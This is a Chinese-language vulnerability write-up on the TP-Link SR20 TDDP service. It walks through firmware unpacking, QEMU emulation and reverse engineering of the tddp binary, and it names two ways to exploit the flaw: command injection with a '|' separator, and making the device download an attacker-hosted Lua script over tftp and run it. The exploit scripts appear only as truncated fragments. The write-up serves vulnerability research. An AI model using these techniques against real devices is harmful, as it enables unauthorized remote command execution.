TP-Link SR20 RCE漏洞
| 0 | 前言
TDDP协议(TP-LINK Device Debug Protocol) 是TP-LINK申请了专利的一种在UPD通信的基础上设计的协议,而Google著名安全专家Matthew Garrett在TP-Link SR20设备上的TDDP协议文件中发现了一处可造成 “允许来自本地网络连接的任意命令执行”(RCE) 的漏洞.
UPD通信协议的设计目的:轻便、快速、不建立连接(不像TCP那样要三次握手)
| 1 | 固件下载&解包&qemu配置
下载地址 :
解包
1 | binwalk -e --preserve-symlinks tpra_sr20v1_us-up-ver1-2-1-P522_20180518-rel77140_2018-05-21_08.42.04.bin |
qemu配置
由于本次的固件采用了后台服务监听,所以必须采用qemu的system仿真
我们首先需要从 Debian 官网 下载内核,磁盘文件及镜像文件:
debian_wheezy_armhf_standard.qcow2
然后将这三个文件放在一个文件夹下,并使创建一个启动脚本
1 | !/bin/bash |
运行启动脚本后在qemu内查看是否能ping通8.8.8.8以及宿主机IP,如果能ping通说明配置完毕
最后我们使用scp命令将固件解包后的文件系统传送到qemu中,这个过程可能会有点漫长
| 2 | 二进制文件逆向
根据漏洞报告我们可以锁定/usr/bin/tddp这个二进制文件,将其拖入IDA中分析

main函数中包含了内存分配,释放函数以及操作函数(我将其命名为vuln)

进入其中可以发现,先是分配了一块较大的内存,后创建了一个套接字
我在讲机器出网orw的那篇文章中简单介绍过这几个函数,这详细说一说
socket(AF_INET, SOCK_DGRAM, 0);用于创建一个套接字空壳
AF_INET表示使用的协议,其中2代表使用IPv4 协议SOCK_DGRAM表示数据报模式,其中2代表UDP 数据报模式- 最后一个
0代表自动匹配协议号
int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);把一个 socket 和一个本地的 IP 地址 + 端口 绑定在一起,让操作系统知道这个 socket 的作用是“负责监听这个端口”
int sockfd表示指定的套接字句柄const struct sockaddr *addr是个结构体
1 | struct sockaddr { |
socklen_t addrlen表示二参结构体的大小
通过以上socket与bind操作,实现了创建一个socket绑定到到1040端口,并对本地端口1040的监听
当以上函数正常执行后,执行流会来到sub_16418

其中调用的recvfrom函数
recvfrom() 是一个 用于接收 UDP 数据包 的系统调用,它不仅接收数据,还能保存数据的来源
recvfrom(int sockfd,void *buf,size_t len,int flags,struct sockaddr *src_addr,socklen_t *addrlen);
int sockfd仍然是套接字句柄void* buf为接受数据的缓冲区大小,这里便是调用calloc分配的大内存块的起始地址偏移45083处开始存储接收到的数据size_t len为最大接受数据的长度int flags一般为0struct sockaddr *src_addr用于存储对端地址,也就是数据的来源socklen_t *addrlen指向的内存中存储了上个参数的结构体大小

随后对接收到的数据进行第一字节检查是否为1,然后将对齐地址存放在a1偏移为0x20的地址,选择是否进入sub_15E74中
这里涉及到了TDDP包的格式,可以看到报头的首项为版本号,这里指定为1

进入后根据漏洞报告继续寻找31处的逻辑

可以看到这里的cmd,v12为超大内存块的起始地址位于0xb01b偏移的位置,也就是接收到的数据的起始地址

检查版本号为1后,将cmd与v13向高地址移动12字节,也就来到了TDDP报头的Digest字段的起始地址

然后是使用sscanf继续正则表达式过滤,将cmd中位于;前的字符串放入sss中,然后将sss与v15格式化入字符串,调用System函数,进入其中我们可以看到这里使用了execve(“/bin/sh”,”sh,-c”,0).说明我们可以在此注入参数

我们退出System继续往下看,可以看到对sss名文件的下载与运行,且都没有对sss进行任何检查

| 3 | 利用手法
我们从以上逆向可以推断出两种利用手法
但在注入之前,我们还需要将进行chroot操作,保证命令执行使用的根目录位于文件系统内
1 | cd squashfs-root |
1.直接注入execve()
因为sscanf只过滤了;,我们还有别的手段对命令进行分割,比如|
1 | from socket import * |
2.文件上传
System的预期作用为从我们的宿主机下载对应文件名的文件:tftp -gr [file_name] [IP]
从IP端口的atftpd的根目录中下载名为file_name的文件,进行完System调用后会打开我们输入的文件名并运行

下载的路径我们可以使用sudo ps -ef | grep tftp查看
1 | zer00ne@zer00ne:~/Desktop/cve_review/new$ sudo ps -ef | grep tftp |
从这我们可以看到atftpd的根目录在/tftpboot中,也就是我们要把需要上传的文件存放在这个目录中
首先使用lua写一个rce脚本,cmd为任意命令
1 | function config_test(config) |
然后exp脚本
1 | from socket import * |
可以看到我们成功RCE
